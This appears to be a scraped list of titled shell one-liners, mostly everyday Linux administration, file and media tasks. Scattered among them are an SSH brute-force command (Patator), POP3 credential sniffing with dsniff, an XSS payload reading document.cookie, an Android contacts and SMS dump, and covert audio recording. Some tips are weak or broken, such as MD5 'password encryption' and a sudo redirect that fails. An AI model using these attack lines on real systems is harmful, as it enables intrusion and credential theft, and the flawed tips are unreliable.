gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | sqlite3 $( find ~/.mozilla -name cookies.sqlite ) }
print all network interfaces' names and IPv4 addresses
alias ips='ip a | awk '\''/inet /&&!/ lo/{print $NF,$2}'\'' | column -t'
Top ten (or whatever) memory utilizing processes (with children aggregate)
ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 "," 1] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc "," 1],proc); }}' | sort -n | tail -n 10
simple backup with rsync
0 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory]
Get all mac address
ifconfig | awk '/HWaddr/ { print $NF }'
Simulate typing
echo "pretty realistic virtual typing" | randtype -m 4
tail: watch a filelog
tail -n 50 -f /var/log/apache2/access_log /var/log/apache2/error_log
Type a random string into a X11 window
sleep 3 && xdotool type --delay 0ms texthere
Weather on the Command line
lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCALOSAN32 | grep GMT | awk '{print $3}'
bash alias for sdiff: differ
alias differ='sdiff --suppress-common-lines'
Deal with dot files safely
rm -r .[!.]*
What is my public IP address
GET checkip.dyndns.org
How to stop MAC Address via IPTables
-A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT
Tells you where a command is in your $PATH, but also wether it's a link and to what.
ls -l `which foo`
Format date/time string for a different day
date --date=yesterday +%Y%m%d
GRUB2: Set Imperial Death March as startup tune
echo "GRUB_INIT_TUNE=\"480 440 4 440 4 440 4 349 3 523 1 440 4 349 3 523 1 440 8 659 4 659 4 659 4 698 3 523 1 415 4 349 3 523 1 440 8"\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
Clear the terminal screen
clear
Remove a range of lines from a file
perl -i -ne 'print if $. == 3..5' <filename>
Convert any sequence of spaces/tabs to single space/tab
tr -s ' \t' <1.txt >2.txt
Wait for file to stop changing
while [ "$(ls -l --full-time TargetFile)" != "$a" ] ; do a=$(ls -l --full-time TargetFile); sleep 10; done
Drop or block attackers IP with null routes
sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
Determine the version of a specific package with RPM
rpm -q --qf "%{VERSION}\n" redhat-release
Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivity
ping -q -c 1 www.google.com|awk -F/ 'END{print $5}'
Reduce PDF Filesize
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dBATCH -dQUIET -dColorImageResolution=600 -dMonoImageResolution=600 -sOutputFile=output.pdf input.pdf
sort through source to find most common authors
find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n
Create a random password encrypted with md5 with custom lenght
echo -n $mypass | md5sum | awk {'print $1'}
Testing php configuration
php -r phpinfo();
1+2-3+4-5+6-7 Series
seq 1000 | paste -sd+- | bc
Find directory depth
find . -printf '%d\n' | sort -n | tail -1
Move mp3 files to another path with existing subtree structure
find . -iname "*.mp3" -type f -print0 | xargs -0 -I '{}' mv {} /new/path/to/mp3/{}
1:1 copy of a volume
find / -xdev -print | cpio -pdmuv /mnt/mydisk
Burn CD/DVD from an iso, eject disc when finished.
cdrecord dev=0,0,0 -v -eject yourimage.iso
Command template, executing a command over multiple files, outputing progress and fails only
find <dir> -name "<pattern>" | while read file; do echo -n .; output=$(<command>) || (echo ; echo $file:; echo "$output"; ); done
copy hybrid iso images to USB key for booting from it, progress bar and remaining time are displayed while copying
time (pv file.iso | dd bs=1M oflag=sync of=/dev/sdX 2>/dev/null)
Dump sqlite database to plain text format
echo '.dump' | sqlite3 your_sqlite.db > your_sqlite_text.txt
How to backup hard disk timely?
rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]' --exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/
grep (or anything else) many files with multiprocessor power
find . -type f | parallel -j+0 grep -i foobar
Do some Perl learning…
podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'
Using numsum to sum a column of numbers.
numsum count.txt
Finding all files on local file system with SUID and SGID set
find / \( -local -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \;
download file1 file2 file3 file4 .... file 100
wget http://domain.com/file{1..100}
Lookup your own IPv4 address
dig +short myip.opendns.com @resolver1.opendns.com
Recursive chmod all files and directories within the current directory
chmod -R 774 .
Find the location of the currently loaded php.ini file
php -i | grep php.ini
Another Matrix Style Implementation
echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done
scan folder to check syntax error in php files
find . -name "*.php" -exec php -l {} \;
extract plain text from MS Word docx files
unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'
copy ACL of one file to another using getfacl and setfacl
getfacl <file-with-acl> | setfacl -f - <file-with-no-acl>
Find and copy scattered mp3 files into one directory
find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} </path>
prints line numbers
cat -n
convert pdf to graphic file format (jpg , png , tiff … )
convert sample.pdf sample.jpg
set your ssd disk as a non-rotating medium
sudo echo 0 > /sys/block/sdb/queue/rotational
Mount a partition from dd disk image
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
urldecoding
perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig'
Start another X session in a window
startx -- /usr/bin/Xephyr :2
Plot frequency distribution of words from files on a terminal.
cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot
Real time satellite wheather wallpaper
curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin
Create a thumbnail from a video file
thumbnail() { ffmpeg -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg }
Test speaker channels
speaker-test -D plug:surround51 -c 6 -l 1 -t wav
tcmdump check ping
tcpdump -nni eth0 -e icmp[icmptype] == 8
Show the command line for a PID, converting nulls to spaces and a newline
tr '\0' ' ' </proc/21679/cmdline ; echo
Which Twitter user are you?
curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*'
find the rpm package name that provides a specific file
rpm -q --whatprovides $filename
du and sort to find the biggest directories in defined filesystem
du -x / | sort -rn | less
List subfolders from largest to smallest with sizes in human readable form
du -hd1 | sort -hr
Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel
ssh -NL 2000:remotehost:22 remotehost
Geolocate a given IP address
geoiplookup <ipadress>
simple port check command
parallel 'nc -z -v {1} {2}' ::: 192.168.1.10 192.168.1.11 ::: 80 25 110
Clone all repos from a user with lynx
lynx -dump -nonumbers https://github.com/USER?tab=repositories|grep '/USER/'|cut -d'/' -f1,2,3,4,5|uniq|xargs -L1 git clone
%s across multiple files with Vim
:set nomore :argdo %s/foo/bar/g | update
List contents of jar
jar -tf file.jar
Selecting a random file/folder of a folder
ls -1 | shuf -n 1
Position the cursor under the current directory line
PS1="${PS1::-3} \n$ "
Validate date, also a date within a leap year
date -d2009-05-18 > /dev/null 2>&1 ; echo $?
Setting reserved blocks percentage to 1%
sudo tune2fs -m 1 /dev/sda4
Install Linux Kernel Headers on Debian-based systems
sudo apt-get install linux-headers-`uname -r`
restart apache only if config works
alias restart='apache2ctl configtest && apache2ctl restart'
Signals list by NUMBER and NAME
i=0;for s in `fuser -l`;do echo $((i++)) $s;done
Retrieve the size of a file on a server
curl -s "$URL" |wc -c
Remove text from file1 which is in file2 and stores it in an other file
grep -Fvf file1 file2 > file-new
convert ascii string to hex
python -c 'print "hello".encode("hex")'
Get line count for any file ending with extension recursively rooted at the current directory.
find . -name "*.py" | xargs wc -l
Concatenates lines using sed
sed -e :a -e '/$/N;s/\n/ /;ta' <filename>
convert flac to mp3
flac -cd input.flac |lame -h - output.mp3
Use the arguments used in the last command
mkdir !*
Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g
Get the absolute path of a file
absolute_path () { readlink -f "$1"; };
Go up multiple levels of directories quickly and easily.
cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}
backup local MySQL database into a folder and removes older then 5 days backups
mysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`date +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \;
Auto Rotate Cube (compiz)
wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0
Turn On/Off Keyboard LEDs via commandline
xset led 3
Show bash's function definitions you defined in .bash_profile or .bashrc
declare -f [ function_name ]
lotto generator
shuf -i 1-49 | head -n6 | sort -n| xargs
Function to output an ASCII character given its decimal equivalent
chr () { printf \\$(($1/64*100+$1%64/8*10+$1%8)); }
validate the syntax of a perl-compatible regular expression
perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'
Perform sed substitution on all but the last line of input
sed -e "$ ! s/$/,/"
List your largest installed packages.
dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done
Determine MAC address of remote host when you know its IP address
arping 192.168.1.2
Comment out a line in a file
sed -i '19375 s/^/#/' file
Insert a comment on command line for reminder
ls -alh #mycomment
Disable beep sound from your computer
echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf
Install a LAMP server in a Debian based distribution
sudo tasksel install lamp-server
Create a single-use TCP proxy with debug output to stderr
socat -v tcp4-l:<port> tcp4:<host>:<port>
Backup all MySQL Databases to individual files
mysql -e 'show databases' | sed -n '2,$p' | xargs -I DB 'mysqldump DB > DB.sql'
Get the total length of all videos in the current dir in Hs
mplayer -vo dummy -ao dummy -identify * 2>&1 | grep ID_LENGTH | sed 's/.*=\([0-9]*\)/\1/' | xargs echo | sed 's/ /+/g' | bc | awk 'S=$1; {printf "%dh:%dm:%ds\n",S/(60*60),S%(60*60)/60,S%60}'
Restart command if it dies.
ps -C program_name || { program_name & }
Upgrade all perl modules via CPAN
perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'
Remove invalid key from the known_hosts file for the IP address of a host
ssh-keygen -R `host hostname | cut -d " " -f 4`
Execute a command with a timeout
perl -e "alarm 10; exec @ARGV" "somecommand"
show the working directories of running processes
lsof -bw -d cwd -a -c java
Extract all 404 errors from your apache accesslog (prefix lines by occurrences number)
grep "HTTP/1.1\" 404" access_log | awk '{print $7 } ' | sort | uniq -c | sort -n
Mount a temporary ram partition
mdmfs -s 256m md /mnt
Insert commas to make reading numbers easier in the output of ls
/bin/ls -lF "$@" | sed -r ': top; s/. ([0-9]+)([0-9]{3}[,0-9]* \w{3} )/ \1,\2/ ; t top'
Uniquely (sort of) color text so you can see changes
function colorify() { n=$(bc <<< "$(echo ${1}|od -An -vtu1 -w100000000|tr -d ' ') % 7"); echo -e "\e[3${n}m${1}\e[0m"; }
convert all files in a dir of a certain type to flv
for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done
Vlc ncurses mode browsing local directorys.
vlc -I ncurses <MEDIA_DIR>
Shows what processes need to be restarted after system upgrade
checkrestart
Set laptop display brightness
echo <percentage> | sudo dd of=/proc/acpi/video/VGA/LCD/brightness
Speed up builds and scripts, remove duplicate entries in \(PATH. Users scripts are oftern bad: PATH=/apath:\)PATH type of thing cause diplicate.
glu() { (local IFS="$1"; shift && echo "$*") }; repath() { ( _E=`echo "${PATH//:/$'\n'}" | awk '!x[$0]++'`; glu ":" $_E ) ; } ; PATH=`repath` ; export PATH
backup your history
history > ~/history-save-$(date +%d-%m-%y-%T)
list only directories in reverse order
ls -ltrhd */
Spy audio, it only records if detects a sound or noise
arecord -q -f cd -d 1 recvol.wav;sox recvol.wav -n stat 2>&1|grep RMS|grep amplitude|cut -d"." -f2|cut -c 1-2>recvol;echo $((`cat recvol`+1))>recvol;rec -t wav - silence 1 0.1 `cat recvol` -1 1.0 `cat recvol`%|lame -s 44.1 -a -v - >record.mp3
Rolling upgrades via aptitude
sudo sh -c "aptitude update; aptitude -DrVWZ full-upgrade; aptitude autoclean; exit"
Getting started with tcpdump
tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp
Search trought pidgin's conversation logs for "searchterm", and output the result.
grep -Ri searchterm ~/.purple/logs/* | sed -e 's/<.*?>//g'
Disconnect telnet
telnet somehost 1234, <ctrl+5> close
rotate a one page pdf to 90 Degrees Clockwise
pdftk pdfname.pdf cat 1E output outputname.pdf
move contents of the current directory to the parent directory, then remove current directory.
find . ! -name "." -print0 | xargs -0 -I '{}' mv -n '{}' ..; rmdir "$PWD"
Set executable permissions on a file under Subversion
svn propset svn:executable ON filename
Email HTML content
mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm
Matrix Style
while true ; do IFS="" read i; echo "$i"; sleep .01; done < <(tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]")
Increase SCT of external USB disk enclosure to one hour.
sdparm -s SCT=36000 --save /dev/sdb
Get windows IPv4 and nothing else
cls && ipconfig | find "IPv4"
A sorted summary of disk usage including hidden files and folders
du -hs .[^.]* * | sort -h
print all except first collumn
awk '{$1=""; print}'
Convert mp3/wav file to asterisk ulaw for music on hold (moh)
sox -v 0.125 -V <mp3.mp3> -t au -r 8000 -U -b -c 1 <ulaw.ulaw> resample -ql
for loop with leading zero in bash 3
seq -s " " -w 3 20
(Git) Revert files with changed mode, not content
git diff --numstat | awk '{if ($1 == "0" && $2 == "0") print $3}' | xargs git checkout HEAD
View webcam output using mplayer
mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2
Record audio and video from webcam using ffmpeg
ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi -vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi
Happy Days
echo {'1,2,3',4}" o'clock" ROCK
Dump dvd from a different machine onto this one.
ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso
Convert multiple files using avidemux
for i in `ls`;do avidemux --video-codec Xvid4 --load $i --save $i.mp4 --quit; done
Ignore a directory in SVN, permanently
svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"
Share your terminal session (remotely or whatever)
screen -x
Clone IDE Hard Disk
sudo dd if=/dev/hda1 of=/dev/hdb2
When was your OS installed?
ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'
Download Apple movie trailers
wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo http://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'`
Download entire commandlinefu archive to single file
for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > a.txt
Remotely sniff traffic and pass to snort
ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r -
Print a random 8 digit number
jot -r -n 8 0 9 | rs -g 0
Show GCC-generated optimization commands when using the "-march=native" or "-mtune=native" switches for compilation.
cc -march=native -E -v - </dev/null 2>&1 | grep cc1
return external ip
wget -O - -q icanhazip.com
Get a regular updated list of zombies
watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"
get time in other timezones
tzwatch
Copy ssh keys to user@host to enable password-less ssh logins.
ssh-copy-id user@host
run a VirtualBox virtual machine without a gui
VBoxHeadless -s <name|uuid>
Sum columns from CSV column $COL
perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv
Delete empty directories with zsh
rm -d **/*(/^F)
Extract the contents of an RPM package to your current directory without installing them.
rpm2cpio /path/to/file.rpm | cpio -i -d
Display information sent by browser
nc -l 8000
Get info on RAM Slots and Max RAM.
dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size
Outputs a 10-digit random number
tr -c -d 0-9 < /dev/urandom | head -c 10
determine if tcp port is open
if (nc -zw2 www.example.com 80); then echo open; fi
How to get an absolute value
abs_value=-1234; echo ${abs_value#-}
find duplicate processes
ps aux | sort --key=11 | uniq -c -d --skip-fields=10 | sort -nr --key=1,1
delete unversioned files in a checkout from svn
svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf
get delicious bookmarks on your shell (text version :-))
curl -u 'username' https://api.del.icio.us/v1/posts/all | sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'
Preview of a picture in a terminal
img test.jpg
determine if a shared library is compiled as 32bit or 64bit
libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;
graphical memory usage
smem --pie name -s pss
Track flight information from the command line
flight_status() { curl --silent --stderr - "https://mobile.flightview.com/TrackByRoute.aspx?view=detail&al=$1&fn=$2&dpdat=$(date +%Y%m%d)" | html2text | grep -A19 "Status" ; } ; flight_status $1 $2
Substitute audio track of video file using mencoder
mencoder -ovc copy -audiofile input.mp3 -oac copy input.avi -o output.avi
Prints line numbers
grep -n "^" <filename>
Is today the last day of the month?
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month' && echo 'not end of month'
Lvextend logical volume
lvextend -r -L+100G /dev/VG/LV
Run a command that has been aliased without the alias
\[command]
GIT: list unpushed commits
git log --oneline <REMOTE>..<LOCAL BRANCH>
Replace multiple spaces with semicolon
sed "s/\s\+/;/g;s/^ //;s/ $//" filename.csv
Null a file with sudo
sudo bash -c "> /var/log/httpd/access_log"
Spell check the text in clipboard (paste the corrected clipboard if you like)
xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip
Delete Empty Directories
find . -type d -exec rmdir {} \;
Calculate N!
echo $(( $(echo 1 "* "{2..10}) ))
Monitor all DNS queries made by Firefox
NSPR_LOG_MODULES=nsHostResolver:5 NSPR_LOG_FILE=/tmp/log.txt firefox
Sort your music
for file in *.mp3;do mkdir -p "$(mp3info -p "%a/%l" "$file")" && ln -s "$file" "$(mp3info -p "%a/%l/%t.mp3" "$file")";done
use wget to check if a remote file exists
wget --spider -v http://www.server.com/path/file.ext
convert a web page into a pdf
touch $2;firefox -print $1 -printmode PDF -printfile $2
Get Futurama quotations from slashdot.org servers
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"
Sort IPV4 ip addresses
sort -t. -k1,1n -k2,2n -k3,3n -k4,4n
Change the case of a single word in vim
g~w
Encrypted archive with openssl and tar
tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc
Follow the most recently updated log files
ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f
A bit of privacy in .bash_history
export HISTCONTROL=ignoreboth
Attempt an XSS exploit on commandlinefu.com
perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" style="position:absolute;height:0;width:0;background:transparent;font-weight:normal;">xss</a>/<\/a>/g'
cat large file to clipboard with speed-o-meter
pv large.xml | xclip
Merge several pdf files into a single file
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf
Update dyndns.org with your external IP.
curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<your_domain_name_here>&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"
Migrate existing Ext3 filesystems to Ext4
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
Update your OpenDNS network ip
wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname&myip=your_ip' -O -
show installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
detach remote console for long running operations
dtach -c /tmp/wires-mc mc
Apply substitution only on the line following a marker
sed '/MARKER/{N;s/THIS/THAT/}'
Read a keypress without echoing it
stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo
ncdu - ncurses disk usage
ncdu directory_name
Synchronize both your system clock and hardware clock and calculate/adjust time drift
ntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust
Get line number of all matches in a file
awk '/match/{print NR}' file
Get yesterday's date or a previous time
date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour'
extracting audio and video from a movie
ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy target_audio.mp3
Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)
Type "c-a b" in gnu screen after updating your .screenrc (See Description below).
Unrar multiple directories into current working directory
for x in */*.rar; do unrar x $x; done
Mortality Countdown
while [ 0 ]; do expr 2365200000 \- `date +%s` \- `date --date "YYYY-mm-dd HH:MM:ss" +%s`; sleep 1; clear; done
Both view and pipe the file without saving to disk
cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l
Listing package man page, services, config files and related rpm of a file, in one alias
fileinfo() { RPMQF=$(rpm -qf $1); RPMQL=$(rpm -ql $RPMQF);echo "man page:";whatis $(basename $1); echo "Services:"; echo -e "$RPMQL\n"|grep -P "\.service";echo "Config files:";rpm -qc $RPMQF;echo "Provided by:" $RPMQF; }
Recover cvs ": no such repository" error
find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'
Deleting Files from svn which are missing
svn status | grep '!' | sed 's/!/ /' | xargs svn del --force
Merge Multiple PDFs
pdftk *.pdf cat output merged.pdf
Convert numbers to SI notation
$ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b[2]/3)+9, 1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o); print substr( gensub(/_[[:digit:]]*/, "", "g", o), 1, 4); }' < test.dat
Fetch the Gateway Ip Address
ip route list match 0.0.0.0/0 | cut -d " " -f 3
5 Which Aliases
alias whichall='{ command alias; command declare -f; } | command which --read-functions --read-alias -a'
How to remove an ISO image from media database
VBoxManage closemedium dvd "/sicuramente/mipaghi/tutto.iso
post data with a http request
curl -d "a1=v1&a2=v2" url
Dump android contacts, sms
adb pull /data/data/com.android.providers.contacts/databases/contacts2.db ; sqlite3 -batch <<EOF contacts2.db <CR> .header on <CR> .mode tabs <CR> select * from data; <CR> EOF
Patator: A Hydra brute force alternative
patator ssh_login host=192.168.1.16 port=22 user=FILE0 0=user.lst password=FILE1 1=pass.lst -x ignore:mesg='Authentication failed.'
Find out current working directory of a process
echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd
Binary injection
echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc
Your name backwards
espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 -
positions the mysql slave at a specific master position
slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop;
Schedule Nice Background Commands That Won't Die on Logout - Alternative to nohup and at
( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 ) & )
Shuffle mp3 files in current folder and play them.
ls | grep -i mp3 | sort -R | sed -e 's/.*/"&"/' | xargs mpg123
stringContains: Determining if a String Contains a Substring
function stringContains() { [ -z "${2##*$1*}" ] && [ -z "$1" -o -n "$2" ]; };
Create passwords and store safely with gpg
tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de > password.gpg
Search through all installed packages names (on RPM systems)
rpm -qa \*code\*
clear all non-ascii chars of file.txt
iconv -c -f utf-8 -t ascii file.txt
urlencoding with one pure BASH builtin
function URLEncode { local dataLength="${#1}"; local index; for ((index = 0;index < dataLength;index++)); do local char="${1:index:1}"; case $char in [a-zA-Z0-9.~_-]) printf "$char"; ;; *) printf "%%%02X" "'$char"; ;; esac; done; }
Simplification of "sed 'your sed stuff here' file > file2 && mv file2 file"
sed -i 'your sed stuff here' file
Check if a process is running
kill -0 [pid]
Send a binary file as an attachment to an email
uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user@example.com
Record live sound in Vorbis (eg for bootlegs or to take audio notes)
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
Follow the flow of a log file
tailf file.log
Which fonts are installed?
fc-list | cut -d ':' -f 1 | sort -u
Print IP of any interface. Useful for scripts.
ip route show dev ppp0 | awk '{ print $7 }'
Replace Solaris vmstat numbers with human readable format
vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk
Split lossless audio (ape, flac, wav, wv) by cue file
cuebreakpoints <cue file> | shnsplit -o <lossless audio type> <audio file>
Securely destroy data (including whole hard disks)
shred targetfile
Mount a disk image (dmg) file in Mac OSX
hdiutil attach somefile.dmg
Date shows dates at other times/dates
date -d '2 weeks ago'
Show the power of the home row on the Dvorak Keyboard layout
egrep -ci ^[aoeuidhtns-]+$ /usr/share/dict/words
Convert images (jpg, png, …) into a PDF
convert images*.* <my_pdf>.pdf
get the top 10 longest filenames
find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF " " $0 } ' | sort -nrf | head -10
Search for a word in less
\bTERM\b
backup a directory in a timestamped tar.gz
tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir
Remove today's installed packages
grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y remove --purge
Have subversion ignore a file pattern in a directory
svn propset svn:ignore "*txt" log/
Show a Command's Short Description
whatis [command-name]
Hiding password while reading it from keyboard
save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo "";echo "You inserted $password as password"
List files above a given threshold
find . -type f -size +25000k -exec ls -lh {} \; | awk '{ print $8 ": " $5 }'
rapidshare download script in 200 characters
u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/$1/'`;sleep 60;wget $u
Play musical notes from octave of middle C
man beep | sed -e '1,/Note/d; /BUGS/,$d' | awk '{print $2}' | xargs -IX sudo beep -f X -l 500
Use a Gmail virtual disk (GmailFS) on Ubuntu
mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p]
Archive all SVN repositories in platform indepenent form
find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done
Show me just the ip address
showip() { nmcli connection show $1|grep ipv4.addresses|awk '{print $2}' ; }
Replicate a directory structure dropping the files
find . -type d -print0 | (cd $DESTDIR; xargs -0 mkdir)
Directory Tree
tree -d
Convert multiple flac files to mp3
for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done
echo unicode characters
echo -e \\u2620
Find ASCII files and extract IP addresses
find . -type f -exec grep -Iq . {} \; -exec grep -oE "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" {} /dev/null \;
Archive all SVN repositories in platform indepenent form
budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm -rf $budir;done
Functions to display, save and restore $IFS
ifs () { echo -n "${IFS}"|hexdump -e '"" 10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"
find co-ordinates of a location
findlocation() { place=`echo $1 | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
Sniff ONLY POP3 authentication by intercepting the USER command
dsniff -i any 'tcp port pop3'
